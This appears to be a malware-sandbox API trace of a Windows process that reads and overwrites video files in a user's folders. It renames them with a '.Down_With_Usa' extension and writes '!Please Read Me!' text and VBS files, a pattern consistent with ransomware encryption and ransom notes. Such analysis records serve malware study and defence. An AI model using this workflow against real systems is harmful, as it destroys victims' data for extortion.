[0123.865] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\TZ9Ljhsc9gy.swf.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\TZ9Ljhsc9gy.swf.Down_With_Usa", lpFilePart=0x0) returned 0x5f
[0123.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb3a0) returned 1
[0123.865] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\TZ9Ljhsc9gy.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\tz9ljhsc9gy.swf"), fInfoLevelId=0x0, lpFileInformation=0x2eb480 | out: lpFileInformation=0x2eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd05d030, ftCreationTime.dwHighDateTime=0x1d5de37, ftLastAccessTime.dwLowDateTime=0x5df33200, ftLastAccessTime.dwHighDateTime=0x1d5e740, ftLastWriteTime.dwLowDateTime=0x26490540, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xbed0)) returned 1
[0123.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb360) returned 1
[0123.865] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\TZ9Ljhsc9gy.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\tz9ljhsc9gy.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\TZ9Ljhsc9gy.swf.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\tz9ljhsc9gy.swf.down_with_usa")) returned 1
[0123.866] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\VDs-U8bKI0sNwcUbM.mp4", nBufferLength=0x105, lpBuffer=0x2eadb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\VDs-U8bKI0sNwcUbM.mp4", lpFilePart=0x0) returned 0x57
[0123.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb290) returned 1
[0123.866] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\VDs-U8bKI0sNwcUbM.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\vds-u8bki0snwcubm.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb200) returned 1
[0123.867] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb428 | out: lpFileSizeHigh=0x2eb428*=0x0) returned 0xc486
[0123.867] ReadFile (in: hFile=0x3a8, lpBuffer=0x2718e58, nNumberOfBytesToRead=0xc486, lpNumberOfBytesRead=0x2eb358, lpOverlapped=0x0 | out: lpBuffer=0x2718e58*, lpNumberOfBytesRead=0x2eb358*=0xc486, lpOverlapped=0x0) returned 1
[0123.899] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\VDs-U8bKI0sNwcUbM.mp4", nBufferLength=0x105, lpBuffer=0x2eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\VDs-U8bKI0sNwcUbM.mp4", lpFilePart=0x0) returned 0x57
[0123.899] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb2a0) returned 1
[0123.899] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\VDs-U8bKI0sNwcUbM.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\vds-u8bki0snwcubm.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb210) returned 1
[0123.904] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\VDs-U8bKI0sNwcUbM.mp4", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\VDs-U8bKI0sNwcUbM.mp4", lpFilePart=0x0) returned 0x57
[0123.904] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\VDs-U8bKI0sNwcUbM.mp4.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\VDs-U8bKI0sNwcUbM.mp4.Down_With_Usa", lpFilePart=0x0) returned 0x65
[0123.904] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb3a0) returned 1
[0123.904] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\VDs-U8bKI0sNwcUbM.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\vds-u8bki0snwcubm.mp4"), fInfoLevelId=0x0, lpFileInformation=0x2eb480 | out: lpFileInformation=0x2eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49be59d0, ftCreationTime.dwHighDateTime=0x1d5da53, ftLastAccessTime.dwLowDateTime=0x95c4bfe0, ftLastAccessTime.dwHighDateTime=0x1d5e16a, ftLastWriteTime.dwLowDateTime=0x26502960, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xc490)) returned 1
[0123.904] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb360) returned 1
[0123.904] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\VDs-U8bKI0sNwcUbM.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\vds-u8bki0snwcubm.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\VDs-U8bKI0sNwcUbM.mp4.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\vds-u8bki0snwcubm.mp4.down_with_usa")) returned 1
[0123.905] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x64
[0123.905] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9", nBufferLength=0x105, lpBuffer=0x2eb480, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9", lpFilePart=0x0) returned 0x41
[0123.905] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb8e0) returned 1
[0123.905] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9", nBufferLength=0x105, lpBuffer=0x2eb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9", lpFilePart=0x0) returned 0x41
[0123.906] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x64
[0123.906] GetFullPathNameW (in: lpFileName="!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0123.906] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\!Please Read Me!.txt.Down_With_Usa", lpFindFileData=0x2eb580 | out: lpFindFileData=0x2eb580*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0123.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb830) returned 1
[0123.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb7f0) returned 1
[0123.908] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eb130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x56
[0123.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb610) returned 1
[0123.908] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0123.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb580) returned 1
[0123.911] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x56
[0123.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb7b0) returned 1
[0123.911] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0123.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb720) returned 1
[0123.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb580) returned 1
[0123.913] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B", nBufferLength=0x105, lpBuffer=0x2eb070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B", lpFilePart=0x0) returned 0x4d
[0123.913] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\", nBufferLength=0x105, lpBuffer=0x2eb010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\", lpFilePart=0x0) returned 0x4e
[0123.913] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\*", lpFindFileData=0x2eb220 | out: lpFindFileData=0x2eb220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x632587e0, ftCreationTime.dwHighDateTime=0x1d5da3a, ftLastAccessTime.dwLowDateTime=0x2a789810, ftLastAccessTime.dwHighDateTime=0x1d5db84, ftLastWriteTime.dwLowDateTime=0x2a789810, ftLastWriteTime.dwHighDateTime=0x1d5db84, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0123.913] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x632587e0, ftCreationTime.dwHighDateTime=0x1d5da3a, ftLastAccessTime.dwLowDateTime=0x2a789810, ftLastAccessTime.dwHighDateTime=0x1d5db84, ftLastWriteTime.dwLowDateTime=0x2a789810, ftLastWriteTime.dwHighDateTime=0x1d5db84, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0123.913] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdc2d140, ftCreationTime.dwHighDateTime=0x1d5dddf, ftLastAccessTime.dwLowDateTime=0x5e95b760, ftLastAccessTime.dwHighDateTime=0x1d5daba, ftLastWriteTime.dwLowDateTime=0x5e95b760, ftLastWriteTime.dwHighDateTime=0x1d5daba, nFileSizeHigh=0x0, nFileSizeLow=0x8945, dwReserved0=0x0, dwReserved1=0x0, cFileName="Juu8mvcu4oPa.avi", cAlternateFileName="JUU8MV~1.AVI")) returned 1
[0123.913] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd92f9640, ftCreationTime.dwHighDateTime=0x1d5e0b3, ftLastAccessTime.dwLowDateTime=0xd3c97930, ftLastAccessTime.dwHighDateTime=0x1d5dd31, ftLastWriteTime.dwLowDateTime=0xd3c97930, ftLastWriteTime.dwHighDateTime=0x1d5dd31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kLPcHKOIJ7ge", cAlternateFileName="KLPCHK~1")) returned 1
[0123.913] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f7d28d0, ftCreationTime.dwHighDateTime=0x1d5e1cd, ftLastAccessTime.dwLowDateTime=0x2179ade0, ftLastAccessTime.dwHighDateTime=0x1d5ddd6, ftLastWriteTime.dwLowDateTime=0x2179ade0, ftLastWriteTime.dwHighDateTime=0x1d5ddd6, nFileSizeHigh=0x0, nFileSizeLow=0x18a72, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kn oe4gm2zGzQe.swf", cAlternateFileName="KNOE4G~1.SWF")) returned 1
[0123.914] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9508ff0, ftCreationTime.dwHighDateTime=0x1d5e36b, ftLastAccessTime.dwLowDateTime=0xdbc19220, ftLastAccessTime.dwHighDateTime=0x1d5e32c, ftLastWriteTime.dwLowDateTime=0xdbc19220, ftLastWriteTime.dwHighDateTime=0x1d5e32c, nFileSizeHigh=0x0, nFileSizeLow=0x7427, dwReserved0=0x0, dwReserved1=0x0, cFileName="lEgQZ0bHNDepn78nfBG.mp4", cAlternateFileName="LEGQZ0~1.MP4")) returned 1
[0123.914] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0123.914] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0123.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb4d0) returned 1
[0123.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb490) returned 1
[0123.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb580) returned 1
[0123.914] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B", nBufferLength=0x105, lpBuffer=0x2eb070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B", lpFilePart=0x0) returned 0x4d
[0123.914] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\", nBufferLength=0x105, lpBuffer=0x2eb010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\", lpFilePart=0x0) returned 0x4e
[0123.914] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\*", lpFindFileData=0x2eb220 | out: lpFindFileData=0x2eb220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x632587e0, ftCreationTime.dwHighDateTime=0x1d5da3a, ftLastAccessTime.dwLowDateTime=0x2a789810, ftLastAccessTime.dwHighDateTime=0x1d5db84, ftLastWriteTime.dwLowDateTime=0x2a789810, ftLastWriteTime.dwHighDateTime=0x1d5db84, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0123.915] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x632587e0, ftCreationTime.dwHighDateTime=0x1d5da3a, ftLastAccessTime.dwLowDateTime=0x2a789810, ftLastAccessTime.dwHighDateTime=0x1d5db84, ftLastWriteTime.dwLowDateTime=0x2a789810, ftLastWriteTime.dwHighDateTime=0x1d5db84, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0123.915] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdc2d140, ftCreationTime.dwHighDateTime=0x1d5dddf, ftLastAccessTime.dwLowDateTime=0x5e95b760, ftLastAccessTime.dwHighDateTime=0x1d5daba, ftLastWriteTime.dwLowDateTime=0x5e95b760, ftLastWriteTime.dwHighDateTime=0x1d5daba, nFileSizeHigh=0x0, nFileSizeLow=0x8945, dwReserved0=0x0, dwReserved1=0x0, cFileName="Juu8mvcu4oPa.avi", cAlternateFileName="JUU8MV~1.AVI")) returned 1
[0123.915] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd92f9640, ftCreationTime.dwHighDateTime=0x1d5e0b3, ftLastAccessTime.dwLowDateTime=0xd3c97930, ftLastAccessTime.dwHighDateTime=0x1d5dd31, ftLastWriteTime.dwLowDateTime=0xd3c97930, ftLastWriteTime.dwHighDateTime=0x1d5dd31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kLPcHKOIJ7ge", cAlternateFileName="KLPCHK~1")) returned 1
[0123.915] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f7d28d0, ftCreationTime.dwHighDateTime=0x1d5e1cd, ftLastAccessTime.dwLowDateTime=0x2179ade0, ftLastAccessTime.dwHighDateTime=0x1d5ddd6, ftLastWriteTime.dwLowDateTime=0x2179ade0, ftLastWriteTime.dwHighDateTime=0x1d5ddd6, nFileSizeHigh=0x0, nFileSizeLow=0x18a72, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kn oe4gm2zGzQe.swf", cAlternateFileName="KNOE4G~1.SWF")) returned 1
[0123.915] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9508ff0, ftCreationTime.dwHighDateTime=0x1d5e36b, ftLastAccessTime.dwLowDateTime=0xdbc19220, ftLastAccessTime.dwHighDateTime=0x1d5e32c, ftLastWriteTime.dwLowDateTime=0xdbc19220, ftLastWriteTime.dwHighDateTime=0x1d5e32c, nFileSizeHigh=0x0, nFileSizeLow=0x7427, dwReserved0=0x0, dwReserved1=0x0, cFileName="lEgQZ0bHNDepn78nfBG.mp4", cAlternateFileName="LEGQZ0~1.MP4")) returned 1
[0123.915] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9508ff0, ftCreationTime.dwHighDateTime=0x1d5e36b, ftLastAccessTime.dwLowDateTime=0xdbc19220, ftLastAccessTime.dwHighDateTime=0x1d5e32c, ftLastWriteTime.dwLowDateTime=0xdbc19220, ftLastWriteTime.dwHighDateTime=0x1d5e32c, nFileSizeHigh=0x0, nFileSizeLow=0x7427, dwReserved0=0x0, dwReserved1=0x0, cFileName="lEgQZ0bHNDepn78nfBG.mp4", cAlternateFileName="LEGQZ0~1.MP4")) returned 0
[0123.915] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0123.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb4d0) returned 1
[0123.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb490) returned 1
[0123.916] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\Juu8mvcu4oPa.avi", nBufferLength=0x105, lpBuffer=0x2eadb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\Juu8mvcu4oPa.avi", lpFilePart=0x0) returned 0x5e
[0123.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb290) returned 1
[0123.916] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\Juu8mvcu4oPa.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\juu8mvcu4opa.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb200) returned 1
[0123.916] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb428 | out: lpFileSizeHigh=0x2eb428*=0x0) returned 0x8945
[0123.916] ReadFile (in: hFile=0x3a8, lpBuffer=0x2643770, nNumberOfBytesToRead=0x8945, lpNumberOfBytesRead=0x2eb358, lpOverlapped=0x0 | out: lpBuffer=0x2643770*, lpNumberOfBytesRead=0x2eb358*=0x8945, lpOverlapped=0x0) returned 1
[0123.942] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\Juu8mvcu4oPa.avi", nBufferLength=0x105, lpBuffer=0x2eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\Juu8mvcu4oPa.avi", lpFilePart=0x0) returned 0x5e
[0123.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb2a0) returned 1
[0123.942] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\Juu8mvcu4oPa.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ntyasypfy_2ur5d0t1b\\juu8mvcu4opa.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb210) returned 1
[0123.947] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\Juu8mvcu4oPa.avi", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\nTyasypfy_2UR5D0t1B\\Juu8mvcu4oPa.avi", lpFilePart=0x0) returned 0x5e
